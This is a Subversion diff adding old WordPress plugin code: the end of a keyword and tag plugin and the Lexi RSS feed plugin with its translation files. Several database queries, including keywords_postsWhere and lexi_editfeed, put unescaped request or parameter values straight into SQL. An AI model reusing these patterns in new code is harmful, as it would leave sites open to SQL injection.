+			$pre_scale = min($allkeys);
+			$pre_scale = ($pre_scale < $min_include) ? $min_include : $pre_scale;
+			$spread = (max($allkeys) - $pre_scale);
+            $spread = ($spread > 0 ? $spread : 1);
+            $scale_factor = ($max_scale - $min_scale) / $spread;
+		}
+	
+		foreach($allkeys as $key => $count) {
+			if ($count >= $min_include) {
+				if ($max_scale !== false)
+					$keycount = (int) (($count - $pre_scale) * $scale_factor + $min_scale);
+				else
+					$keycount = $count + $min_scale - 1;
+				
+				// need to do category stuff first so that we can decide between $element and $element_cat at the outset
+				if ($include_cats && (strstr($key, '::Category::'))) {
+					$keycat = explode('::Category::', $key);
+					$key = $keycat[0];
+					$keytemp = str_replace('%keylink%', get_category_link((int)$keycat[1]), $element_cat);
+					$keytemp = str_replace('%flickr%', get_category_link((int)$keycat[1]), $keytemp);
+					$keytemp = str_replace('%delicious%', get_category_link((int)$keycat[1]), $keytemp);
+				} else {
+					$keytemp = str_replace('%keylink%', jkeywords_localLink($key), $element);
+					$keytemp = str_replace('%flickr%', jkeywords_flickrLink($key), $keytemp);
+					$keytemp = str_replace('%delicious%', jkeywords_deliciousLink($key), $keytemp);
+                }
+				$keytemp = str_replace('%count%', $keycount, $keytemp);
+				if (strstr($keytemp, '%em%')) {
+					$keytemp = str_replace('%em%', str_repeat('<em>', $keycount), $keytemp);
+					$keytemp = str_replace('%/em%', str_repeat('</em>', $keycount), $keytemp);
+				}
+				$keytemp = str_replace('%keyword%', str_replace(' ', '&nbsp;', $key), $keytemp);
+				$keywords .= $keytemp . ' ';
+			}
+		}
+	}
+	echo $keywords;
+}
+
+
+/***** Top keywords/tags functions *****/
+function get_top_keywords($number = false, $include_cats = false, $min_include = 0) {
+
+	$allkeys = get_all_keywords($include_cats);
+
+	$topkeys = array();
+	if (is_array($allkeys)) {
+	
+		arsort($allkeys);
+		if (($number <= 0) && ($min_include <= 1))
+			return($allkeys);
+		
+		$topcount = 0;
+		foreach ($allkeys as $key => $count) {
+			if ($count >= $min_include) {
+				$topkeys[$key] = $count;
+				$topcount++;
+			}
+			if (($number > 0) && ($topcount >= $number))
+				break;
+		}
+	}
+	return($topkeys);
+}
+
+function top_keywords($number = false, $element='<li><a href="/tag/%keylink%">%keyword%</a></li>',
+                      $element_cat = '', $min_include = 0) {
+	
+	$include_cats = !empty($element_cat);
+	
+	$topkeys = get_top_keywords($number, $include_cats, $min_include);
+	
+	$keywords = '';
+	if (is_array($topkeys)) {
+		foreach($topkeys as $key => $count) {
+			// need to do category stuff first so that we can decide between $element and $element_cat at the outset
+			if ($include_cats && (strstr($key, '::Category::'))) {
+				$keycat = explode('::Category::', $key);
+				$key = $keycat[0];
+				$keytemp = str_replace('%keylink%', get_category_link((int)$keycat[1]), $element_cat);
+				$keytemp = str_replace('%flickr%', get_category_link((int)$keycat[1]), $keytemp);
+				$keytemp = str_replace('%delicious%', get_category_link((int)$keycat[1]), $keytemp);
+			} else {
+				$keytemp = str_replace('%keylink%', jkeywords_localLink($key), $element);
+				$keytemp = str_replace('%flickr%', jkeywords_flickrLink($key), $keytemp);
+				$keytemp = str_replace('%delicious%', jkeywords_deliciousLink($key), $keytemp);
+			}
+            
+			$keytemp = str_replace('%count%', $count, $keytemp);
+			if (strstr($keytemp, '%em%')) {
+				$keytemp = str_replace('%em%', str_repeat('<em>', $keycount), $keytemp);
+				$keytemp = str_replace('%/em%', str_repeat('</em>', $keycount), $keytemp);
+			}
+			$keytemp = str_replace('%keyword%', str_replace(' ', '&nbsp;', $key), $keytemp);
+			$keywords .= $keytemp . ' ';
+		}
+	}
+	echo $keywords;
+}
+
+
+/***** Add actions *****/
+
+/* editing */
+add_filter('simple_edit_form', 'keywords_edit_form');
+add_filter('edit_form_advanced', 'keywords_edit_form');
+add_filter('edit_page_form', 'keywords_edit_form');
+add_action('edit_post', 'keywords_update');
+add_action('publish_post', 'keywords_update');
+add_action('save_post', 'keywords_update');
+
+/* for keyword/tag queries */
+add_filter('query_vars', 'keywords_addQueryVar');
+add_action('parse_query', 'keywords_parseQuery');
+
+/* Atom feed */
+if (KEYWORDS_ATOMTAGSON) {
+	add_filter('the_excerpt_rss', 'keywords_appendTags');
+	if (!get_settings('rss_use_excerpt'))
+		add_filter('the_content', 'keywords_appendTags');
+}
+
+/***** Callback functions *****/
+function keywords_edit_form() {
+	global $post, $postdata, $content;
+
+	$id = isset($post) ? $post->ID : $postdata->ID;
+    $post_keywords = get_post_meta($id, KEYWORDS_META, true);
+
+	echo "
+		<fieldset id=\"postkeywords\">
+			<legend>Keywords</legend>
+			<div>
+                <textarea rows=\"1\" cols=\"40\" name=\"keywords_list\" tabindex=\"4\" id=\"keywords_list\" style=\"margin-left: 1%; width: 97%; height: 1.8em;\">$post_keywords</textarea>
+        ";
+    
+    if (KEYWORDS_SUGGESTED > 0) {
+        $top_keywords = get_top_keywords();
+        
+        $suggested = array();
+        
+        foreach($top_keywords as $keyword=>$keycount) {
+            if (stristr($content, $keyword)) {
+                $suggested[] = $keyword;
+                if (count($suggested) >= KEYWORDS_SUGGESTED)
+                    break;
+            }
+        }
+        if (count($suggested) < KEYWORDS_SUGGESTED) {
+            foreach($top_keywords as $keyword=>$keycount) {
+                if (!in_array($keyword, $suggested)) {
+                    $suggested[] = $keyword;
+                    if (count($suggested) >= KEYWORDS_SUGGESTED)
+                        break;
+                }
+            }
+        }
+        $suggested_keys = implode(', ', $suggested);
+        echo "		<br /> <div style=\"font-size: 80%; margin-left: 1%;\">Suggested Keywords: <em>$suggested_keys</em> </div>";
+    }
+    
+	echo "
+			</div>
+		</fieldset>
+		";
+}
+
+function keywords_update($id) {
+
+	// remove old value
+	delete_post_meta($id, KEYWORDS_META);
+
+	// clean up keywords list & save
+	$keyword_list = "";
+	$post_keywords = explode(",", $_REQUEST['keywords_list']);
+	foreach($post_keywords as $keyword) {
+		if ( !empty($keyword ) ) {
+			if ( !empty($keyword_list) )
+				$keyword_list .= ",";
+			$keyword_list .= trim($keyword);
+		}
+	}
+
+	if (!empty($keyword_list) )
+		add_post_meta($id, KEYWORDS_META, $keyword_list);
+}
+
+function keywords_appendTags(&$text) {
+	global $doing_rss, $feed;
+	
+	if ( (!$doing_rss) || ($feed != 'atom') )
+		return($text);
+	
+	$local = KEYWORDS_REWRITEON ? "tag" : "technorati";
+	
+	$taglist = get_the_post_keytags(true, $local, "");
+	if (empty($taglist))
+		return($text);
+	else
+		return($text . " \n Tags: " . $taglist);
+}
+
+function keywords_addQueryVar($wpvar_array) {
+	$wpvar_array[] = KEYWORDS_QUERYVAR;
+	return($wpvar_array);
+}
+
+function keywords_parseQuery() {
+	// if this is a keyword query, then reset other is_x flags and add query filters
+	if (is_keyword()) {
+		global $wp_query;
+		$wp_query->is_single = false;
+		$wp_query->is_page = false;
+		$wp_query->is_archive = false;
+		$wp_query->is_search = false;
+		$wp_query->is_home = false;
+		
+		add_filter('posts_where', 'keywords_postsWhere');
+		add_filter('posts_join', 'keywords_postsJoin');
+		add_action('template_redirect', 'keywords_includeTemplate');
+	}
+}
+
+function keywords_postsWhere($where) {
+    global $wp_version;
+    $keyword = ( isset($wp_version) && ($wp_version >= 2.0) ) ? 
+                get_query_var(KEYWORDS_QUERYVAR) : 
+                $GLOBALS[KEYWORDS_QUERYVAR];
+
+    $where .= " AND jkeywords_meta.meta_key = '" . KEYWORDS_META . "' ";
+	$where .= " AND jkeywords_meta.meta_value LIKE '%" . $keyword . "%' ";
+
+    // include pages in search (from jeromes-search.php)
+    $where = str_replace(' AND (post_status = "publish"', ' AND ((post_status = \'static\' OR post_status = \'publish\')', $where);
+    
+	return ($where);
+}
+
+function keywords_postsJoin($join) {
+	global $wpdb;
+	$join .= " LEFT JOIN $wpdb->postmeta AS jkeywords_meta ON ($wpdb->posts.ID = jkeywords_meta.post_id) ";
+	return ($join);
+}
+
+function keywords_includeTemplate() {
+
+	if (is_keyword()) {
+		$template = '';
+		
+		if ( file_exists(TEMPLATEPATH . "/" . KEYWORDS_TEMPLATE) )
+			$template = TEMPLATEPATH . "/" . KEYWORDS_TEMPLATE;
+		else if ( file_exists(TEMPLATEPATH . "/tags.php") )
+			$template = TEMPLATEPATH . "/tags.php";
+		else
+			$template = get_category_template();
+		
+		if ($template) {
+			load_template($template);
+			exit;
+		}
+	}
+	return;
+}
+
+function keywords_createRewriteRules($rewrite) {
+	global $wp_rewrite;
+	
+	// add rewrite tokens
+	$keytag_token = '%' . KEYWORDS_QUERYVAR . '%';
+	$wp_rewrite->add_rewrite_tag($keytag_token, '(.+)', KEYWORDS_QUERYVAR . '=');
+    
+	$keywords_structure = $wp_rewrite->root . KEYWORDS_QUERYVAR . "/$keytag_token";
+	$keywords_rewrite = $wp_rewrite->generate_rewrite_rules($keywords_structure);
+	
+	return ( $rewrite + $keywords_rewrite );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/cache/index.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/cache/index.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/cache/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/content.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/content.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/content.php	(revision 44)
@@ -0,0 +1,22 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+	<head>
+		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+		<title></title>
+	</head>
+<body><?php
+require_once( '../../../wp-config.php' );
+
+$url   = $_POST['url'];
+
+$title = $_POST['title']; 
+
+$num   = $_POST['num'];
+
+$conf  = $_POST['conf'];
+
+echo lexi_readfeed($url, $title, $num, $conf);
+
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css	(revision 44)
@@ -0,0 +1,9 @@
+
+
+img.lexi {
+    background : transparent;
+    padding : 0px;
+    margin : 0px;
+    border-width : 0px;
+  }
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lang/lexi-es_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lang/lexi-es_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lang/lexi-es_ES.po	(revision 44)
@@ -0,0 +1,182 @@
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Juan SebastiÃ¡n Echeverry <sebaxtian@gawab.com>, 2009.
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-29 20:32-0500\n"
+"PO-Revision-Date: 2009-06-29 20:34-0500\n"
+"Last-Translator: Juan SebastiÃ¡n Echeverry <sebaxtian@gawab.com>\n"
+"Language-Team: Spanish <kde-i18n-doc@kde.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: Lokalize 1.0\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#: lexi.php:278
+msgid "Loading Feed..."
+msgstr "Cargando Fuente..."
+
+#: lexi.php:283 lexi.php:336 lexi.php:586 templates/lexi_widget.php:21
+#, php-format
+msgid ""
+"You have to install <a href=\"%s\"  target=\"_BLANK\">minimax 0.2</a> in "
+"order for this plugin to work"
+msgstr ""
+"Deber&aacute; instalar <a href=\"%s\" target=\"_BLANK\">minimax 0.2</a> "
+"para "
+"que este plugin funcione."
+
+#: lexi.php:554
+msgid "Subscribe"
+msgstr "Suscribirse"
+
+#: lexi.php:632
+msgid "Feed added"
+msgstr "Se agreg&oacute; el RSS"
+
+#: lexi.php:651
+msgid "Feed modified"
+msgstr "Se modific&oacute; el RSS"
+
+#: lexi.php:676 lexi.php:683
+msgid "Feed moved"
+msgstr "Se movi&oacute; el RSS"
+
+#: lexi.php:690
+msgid "Feed deleted"
+msgstr "Se elimin&oacute; el RSS"
+
+#: templates/lexi_feed.php:6 templates/lexi_manage.php:28
+#: templates/lexi_manage.php:38 templates/lexi_manage.php:79
+msgid "Add Feed"
+msgstr "Agregar RSS"
+
+#: templates/lexi_feed.php:6
+msgid "Edit Feed"
+msgstr "Editar RSS"
+
+#: templates/lexi_feed.php:11 templates/lexi_feed.php:20
+#: tinymce/mce_lexi.php:53
+msgid "RSS"
+msgstr "RSS"
+
+#: templates/lexi_feed.php:16
+msgid "Name"
+msgstr "Nombre"
+
+#: templates/lexi_feed.php:24 tinymce/mce_lexi.php:62
+msgid "Items"
+msgstr "Items"
+
+#: templates/lexi_feed.php:36 templates/lexi_manage.php:48
+#: tinymce/mce_lexi.php:79
+msgid "Show contents"
+msgstr "Mostrar Contenido"
+
+#: templates/lexi_feed.php:41 templates/lexi_manage.php:49
+#: tinymce/mce_lexi.php:74
+msgid "Save cache"
+msgstr "Almacenar en Cach&eacute;"
+
+#: templates/lexi_feed.php:43 tinymce/mce_lexi.php:76
+msgid ""
+"Uncheck this option only in case the feed updates several times in an hour."
+msgstr ""
+"Solo quite esta marca si la fuente se actualiza varias veces en una misma "
+"hora."
+
+#: templates/lexi_feed.php:50 tinymce/mce_lexi.php:97
+msgid "Cancel"
+msgstr "Cancelar"
+
+#: templates/lexi_feed.php:53
+msgid "Add"
+msgstr "Agregar"
+
+#: templates/lexi_feed.php:53
+msgid "Modify"
+msgstr "Modificar"
+
+#: templates/lexi_manage.php:21
+msgid "Lexi"
+msgstr "Lexi"
+
+#: templates/lexi_manage.php:28
+msgid "No feeds found"
+msgstr "No se encontraron resultados"
+
+#: templates/lexi_manage.php:33 templates/lexi_manage.php:74
+msgid "Bulk Actions"
+msgstr "Acciones en bloque"
+
+#: templates/lexi_manage.php:34 templates/lexi_manage.php:60
+#: templates/lexi_manage.php:75
+msgid "Delete"
+msgstr "Eliminar"
+
+#: templates/lexi_manage.php:36 templates/lexi_manage.php:77
+msgid "Apply"
+msgstr "Aplicar"
+
+#: templates/lexi_manage.php:47
+msgid "Feed"
+msgstr "RSS"
+
+#: templates/lexi_manage.php:59
+msgid "Edit"
+msgstr "Editar"
+
+#: templates/lexi_manage.php:60
+msgid "Delete this Feed?"
+msgstr "&iquest;Eliminar este RSS?"
+
+#: templates/lexi_widget.php:3 tinymce/mce_lexi.php:57
+msgid "Title"
+msgstr "T&iacute;tulo"
+
+#: templates/lexi_widget.php:9 tinymce/mce_lexi.php:83
+msgid "Show feed title"
+msgstr "Mostrar el t&iacute;tulo de la fuente"
+
+#: templates/lexi_widget.php:14
+#, php-format
+msgid ""
+"You can <a href=\"%s\">modify</a> the feeds list in <strong>Tools/Lexi</"
+"strong>"
+msgstr ""
+"Puede <a href=\"%s\">modificar</a> la lista de fuentes en el menÃº <strong>"
+"Herramientas/Lexi</"
+"strong>"
+
+#: tinymce/mce_lexi.php:32
+msgid "Lexi Feed"
+msgstr "Fuente RSS"
+
+#: tinymce/mce_lexi.php:45
+msgid "Feed:"
+msgstr "RSS:"
+
+#: tinymce/mce_lexi.php:47
+msgid "All feeds"
+msgstr "Todos los RSS"
+
+#: tinymce/mce_lexi.php:58
+msgid "Use the title from the feed"
+msgstr "Usar el t&iacute;tulo de la fuente"
+
+#: tinymce/mce_lexi.php:59
+msgid "Use a specific title"
+msgstr "Usar un t&iacute;tulo espec&iacute;fico"
+
+#: tinymce/mce_lexi.php:87
+msgid "Open links in new page"
+msgstr "Abrir en nueva p&aacute;gina"
+
+#: tinymce/mce_lexi.php:101
+msgid "Insert"
+msgstr "Insertar"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lang/lexi.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lang/lexi.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lang/lexi.po	(revision 44)
@@ -0,0 +1,173 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-29 20:32-0500\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: lexi.php:278
+msgid "Loading Feed..."
+msgstr ""
+
+#: lexi.php:283 lexi.php:336 lexi.php:586 templates/lexi_widget.php:21
+#, php-format
+msgid ""
+"You have to install <a href=\"%s\"  target=\"_BLANK\">minimax 0.2</a> in "
+"order for this plugin to work"
+msgstr ""
+
+#: lexi.php:554
+msgid "Subscribe"
+msgstr ""
+
+#: lexi.php:632
+msgid "Feed added"
+msgstr ""
+
+#: lexi.php:651
+msgid "Feed modified"
+msgstr ""
+
+#: lexi.php:676 lexi.php:683
+msgid "Feed moved"
+msgstr ""
+
+#: lexi.php:690
+msgid "Feed deleted"
+msgstr ""
+
+#: templates/lexi_feed.php:6 templates/lexi_manage.php:28
+#: templates/lexi_manage.php:38 templates/lexi_manage.php:79
+msgid "Add Feed"
+msgstr ""
+
+#: templates/lexi_feed.php:6
+msgid "Edit Feed"
+msgstr ""
+
+#: templates/lexi_feed.php:11 templates/lexi_feed.php:20
+#: tinymce/mce_lexi.php:53
+msgid "RSS"
+msgstr ""
+
+#: templates/lexi_feed.php:16
+msgid "Name"
+msgstr ""
+
+#: templates/lexi_feed.php:24 tinymce/mce_lexi.php:62
+msgid "Items"
+msgstr ""
+
+#: templates/lexi_feed.php:36 templates/lexi_manage.php:48
+#: tinymce/mce_lexi.php:79
+msgid "Show contents"
+msgstr ""
+
+#: templates/lexi_feed.php:41 templates/lexi_manage.php:49
+#: tinymce/mce_lexi.php:74
+msgid "Save cache"
+msgstr ""
+
+#: templates/lexi_feed.php:43 tinymce/mce_lexi.php:76
+msgid ""
+"Uncheck this option only in case the feed updates several times in an hour."
+msgstr ""
+
+#: templates/lexi_feed.php:50 tinymce/mce_lexi.php:97
+msgid "Cancel"
+msgstr ""
+
+#: templates/lexi_feed.php:53
+msgid "Add"
+msgstr ""
+
+#: templates/lexi_feed.php:53
+msgid "Modify"
+msgstr ""
+
+#: templates/lexi_manage.php:21
+msgid "Lexi"
+msgstr ""
+
+#: templates/lexi_manage.php:28
+msgid "No feeds found"
+msgstr ""
+
+#: templates/lexi_manage.php:33 templates/lexi_manage.php:74
+msgid "Bulk Actions"
+msgstr ""
+
+#: templates/lexi_manage.php:34 templates/lexi_manage.php:60
+#: templates/lexi_manage.php:75
+msgid "Delete"
+msgstr ""
+
+#: templates/lexi_manage.php:36 templates/lexi_manage.php:77
+msgid "Apply"
+msgstr ""
+
+#: templates/lexi_manage.php:47
+msgid "Feed"
+msgstr ""
+
+#: templates/lexi_manage.php:59
+msgid "Edit"
+msgstr ""
+
+#: templates/lexi_manage.php:60
+msgid "Delete this Feed?"
+msgstr ""
+
+#: templates/lexi_widget.php:3 tinymce/mce_lexi.php:57
+msgid "Title"
+msgstr ""
+
+#: templates/lexi_widget.php:9 tinymce/mce_lexi.php:83
+msgid "Show feed title"
+msgstr ""
+
+#: templates/lexi_widget.php:14
+#, php-format
+msgid ""
+"You can <a href=\"%s\">modify</a> the feeds list in <strong>Tools/Lexi</"
+"strong>"
+msgstr ""
+
+#: tinymce/mce_lexi.php:32
+msgid "Lexi Feed"
+msgstr ""
+
+#: tinymce/mce_lexi.php:45
+msgid "Feed:"
+msgstr ""
+
+#: tinymce/mce_lexi.php:47
+msgid "All feeds"
+msgstr ""
+
+#: tinymce/mce_lexi.php:58
+msgid "Use the title from the feed"
+msgstr ""
+
+#: tinymce/mce_lexi.php:59
+msgid "Use a specific title"
+msgstr ""
+
+#: tinymce/mce_lexi.php:87
+msgid "Open links in new page"
+msgstr ""
+
+#: tinymce/mce_lexi.php:101
+msgid "Insert"
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lexi.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lexi.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/lexi.php	(revision 44)
@@ -0,0 +1,829 @@
+<?php
+/*
+Plugin Name: Lexi
+Plugin URI: http://www.sebaxtian.com/acerca-de/lexi
+Description: An RSS feeder using ajax to show contents after the page has been loaded.
+Version: 0.7.95
+Author: Juan SebastiÃ¡n Echeverry
+Author URI: http://www.sebaxtian.com
+*/
+
+/*  Copyright 2007-2009  Juan SebastiÃ¡n Echeverry  (email : sebaxtian@gawab.com)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+define('CONF_CACHE', 1);
+define('CONF_SHOWCONTENT', 2);
+define('CONF_SHOWHEADER', 4);
+define('CONF_TARGETBLANK', 8);
+
+$db_version=get_option('lexi_db_version');
+
+add_action('init', 'lexi_addbuttons');
+add_action('init', 'lexi_textdomain');
+add_action('wp_head', 'lexi_header');
+add_filter('the_content', 'lexi_content');
+add_action('admin_menu', 'lexi_manage');
+add_action('activate_lexi/lexi.php', 'lexi_activate');
+
+/**
+  * Function to use i18n
+  *
+  * @access public
+  */
+
+function lexi_textdomain() {
+  load_plugin_textdomain('lexi', 'wp-content/plugins/lexi/lang');
+}
+
+/**
+  * Function to add Lexi's css
+  *
+  * @access public
+  */
+
+function lexi_header() {
+	$css = lexi_plugin_url("/css/lexi.css");
+	echo "\n<link rel='stylesheet' href='$css' type='text/css' media='screen' />";
+}
+
+
+/**
+  * Returns plugin's path.
+  *
+  * @param string str Path to append
+  * @return string
+  * @access public
+  */
+
+function lexi_plugin_url($str = '')
+{
+  $dir_name = '/wp-content/plugins/lexi';
+  $url=get_bloginfo('wpurl');
+  return $url . $dir_name . $str;
+}
+
+
+/**
+  * Function to create the database and to add options into WordPress
+  *
+  * @access public
+  */
+
+function lexi_activate()
+{
+  global $wpdb;
+  global $db_version;
+
+  $table_name = $wpdb->prefix . "lexi";
+  if($wpdb->get_var("show tables like '$table_name'") != $table_name) {
+    $sql = "CREATE TABLE $table_name(
+      id bigint(1) NOT NULL AUTO_INCREMENT,
+      name tinytext NOT NULL,
+      position int,
+      rss text NOT NULL,
+      items int NOT NULL,
+      showcontent tinyint NOT NULL,
+      cached tinyint NOT NULL,
+      PRIMARY KEY (id)
+    );";
+
+    require_once(ABSPATH . 'wp-admin/upgrade-functions.php');
+    dbDelta($sql);
+    add_option('lexi_db_version', 1);
+  }
+}
+
+
+/**
+  * Function to edit feed's data.
+  *
+  * @param int id Feed's id
+  * @param string name Feed's name
+  * @param string rss Feed's URL
+  * @param int items Items to show
+  * @param bool showcontent Show contents in Widget?
+  * @param bool cache Record Rss content in cache?
+  * @access public
+  */
+
+function lexi_editfeed($id, $name, $rss, $items=5, $showcontent=false, $cached=true)
+{
+  global $wpdb;
+  
+  if($showcontent) {
+    $showcontent=1;
+  } else {
+    $showcontent=0;
+  }
+  
+  if($cached) {
+    $cached=1;
+  } else {
+    $cached=0;
+  }
+  
+  $table_name = $wpdb->prefix . "lexi";
+  $query="UPDATE " . $table_name ." SET name='".$name."', rss='".$rss."', items='".$items."', showcontent='".$showcontent."', cached='".$cached."' WHERE id=".$id;
+  $wpdb->query($query);
+}
+
+
+/**
+  * Function to add a feed.
+  *
+  * @param string name Feed's name
+  * @param string rss Feed's URL
+  * @param int items Items to show
+  * @param bool showcontent Show contents in Widget?
+  * @param bool cache Record Rss content in cache?
+  * @return bool
+  * @access public
+  */
+
+function lexi_addfeed($name, $rss, $items=5, $showcontent=false, $cached=true)
+{
+  global $wpdb;
+  
+  if($showcontent) {
+    $showcontent=1;
+  } else {
+    $showcontent=0;
+  }
+  
+  if($cached) {
+    $cached=1;
+  } else {
+    $cached=0;
+  }
+  
+  $table_name = $wpdb->prefix . "lexi";
+  $insert = "INSERT INTO " . $table_name .
+    " (name, rss, items, showcontent, cached) " .
+    "VALUES ('" . $wpdb->escape($name) . "', '" . $wpdb->escape($rss) . "', '$items', '$showcontent', '$cached')";
+  
+  $results = $wpdb->query( $insert );
+  
+  $id = $wpdb->get_var("select last_insert_id()");
+  $position = $wpdb->get_var("SELECT MAX(position) FROM $table_name");
+  $position++;
+  
+  $wpdb->query("UPDATE " . $table_name ." SET position='$position' WHERE id=".$id);
+  
+  return true;
+}
+
+
+/**
+  * Function to delete a feed.
+  *
+  * @param int id Feed to delete
+  * @return bool
+  * @access public
+  */
+
+function lexi_deletefeed($id)
+{
+  global $wpdb;
+  $table_name = $wpdb->prefix . "lexi";
+  $position = $wpdb->get_var("SELECT position FROM $table_name WHERE id=$id");
+  $query = "DELETE FROM " . $table_name ." WHERE id=" . $id;
+  $answer1=$wpdb->query( $query );
+  
+  $wpdb->query("UPDATE " . $table_name ." SET position=position-1 WHERE position > $position");
+  
+  return $answer1;
+}
+
+
+/**
+  * Move feed one row up
+  *
+  * @param int id Feed to move
+  * @return bool
+  * @access public
+  */
+
+function lexi_upfeed($id)
+{
+  global $wpdb;
+  $table_name = $wpdb->prefix . "lexi";
+  $position = $wpdb->get_var("SELECT position FROM $table_name WHERE id=$id");
+  if($position>1) {
+    $position_aux=$position-1;
+    $answer1 = $wpdb->query("UPDATE " . $table_name ." SET position = $position WHERE position = $position_aux");
+    $answer2 = $wpdb->query("UPDATE " . $table_name ." SET position = $position_aux WHERE id = $id");
+  }
+  return $answer1 && $answer2;
+}
+
+
+/**
+  * Move feed one row down
+  *
+  * @param int id Feed to move
+  * @return bool
+  * @access public
+  */
+
+function lexi_downfeed($id)
+{
+  global $wpdb;
+  $table_name = $wpdb->prefix . "lexi";
+  $position = $wpdb->get_var("SELECT position FROM $table_name WHERE id=$id");
+  $max_position = $wpdb->get_var("SELECT MAX(position) FROM $table_name");
+  if($position<$max_position) {
+    $position_aux=$position+1;
+    $answer1 = $wpdb->query("UPDATE " . $table_name ." SET position = $position WHERE position = $position_aux");
+    $answer2 = $wpdb->query("UPDATE " . $table_name ." SET position = $position_aux WHERE id = $id");
+  }
+  return $answer1 && $answer2;
+}
+
+
+/**
+  * Returns the html code with 'minimax' script and div.
+  * Add this code into the html page to create the RSS reader.
+  *
+  * @param string link The RSS URL
+  * @param string title The title to put at the beginning of the list
+  * @param string items Max number of feeds to show
+  * @param string sc Show feed contents?
+  * @param string cache Save feeds in cache?
+  * @return string
+  * @access public
+  */
+  
+function lexi_postRss($link, $title, $items, $conf) {
+  $answer="";
+  if(function_exists('minimax') && minimax_version()==0.2) {
+    $num = mt_rand();
+    $url=lexi_plugin_url('/content.php');
+    if($sc) $sc=1; else $sc=0;
+    if($cache) $cache=1; else $cache=0;
+    $post="url=".urlencode(str_replace("&amp;", "&", $link))."&amp;title=".urlencode(str_replace("&amp;", "&", $title))."&amp;num=$items&amp;conf=$conf";
+    $answer.="\n<div id='lexi$num'><table><tr><td><img class='lexi' src='".get_bloginfo('wpurl')."/wp-content/plugins/lexi/img/loading.gif' alt='RSS' border='0' /></td><td>".__('Loading Feed...','lexi')."</td></tr></table></div><script type='text/javascript'>mx_lexi$num = new minimax('$url', 'lexi$num');
+    mx_lexi$num.post('$post');
+    </script>";
+  } else {
+    $answer.= "<div id='lexi'><label>";
+    $answer.= sprintf(__('You have to install <a href="%s"  target="_BLANK">minimax 0.2</a> in order for this plugin to work', 'lexi'), "http://wordpress.org/extend/plugins/minimax/" );
+    $answer.= "</label></div>";
+  }
+  return $answer;
+}
+
+
+/**
+  * Returns the html code with 'minimax' script and div.
+  * Add this code into the html page to create the RSS reader.
+  *
+  * @param int id The feed Id into lexi list.
+  * @return string
+  * @access public
+  */
+
+function lexi_postId($id) {
+  global $wpdb;
+
+	$show_feed_title = true;
+
+	if($id==-1) {
+		$options = get_option('widget_lexi');
+		$show_feed_title = $options['show_feed_title'];
+		$id=0;
+	}
+
+  $answer="";
+
+  $table_name = $wpdb->prefix . "lexi";
+  if($id)
+    $feedlist = $wpdb->get_results("SELECT * FROM $table_name WHERE id = $id");
+  else
+    $feedlist = $wpdb->get_results("SELECT * FROM $table_name ORDER BY position ASC");
+
+  // These lines generate our output. Widgets can be very complex
+  // but as you can see here, they can also be very, very simple.
+  
+  if(function_exists('minimax') && minimax_version()==0.2) {
+    foreach($feedlist as $feed) {
+
+			//Configuration
+			$conf = CONF_TARGETBLANK;
+			if($feed->showcontent) $conf += CONF_SHOWCONTENT;
+			if($feed->cached) $conf += CONF_CACHE;
+			if($show_feed_title) $conf += CONF_SHOWHEADER;
+
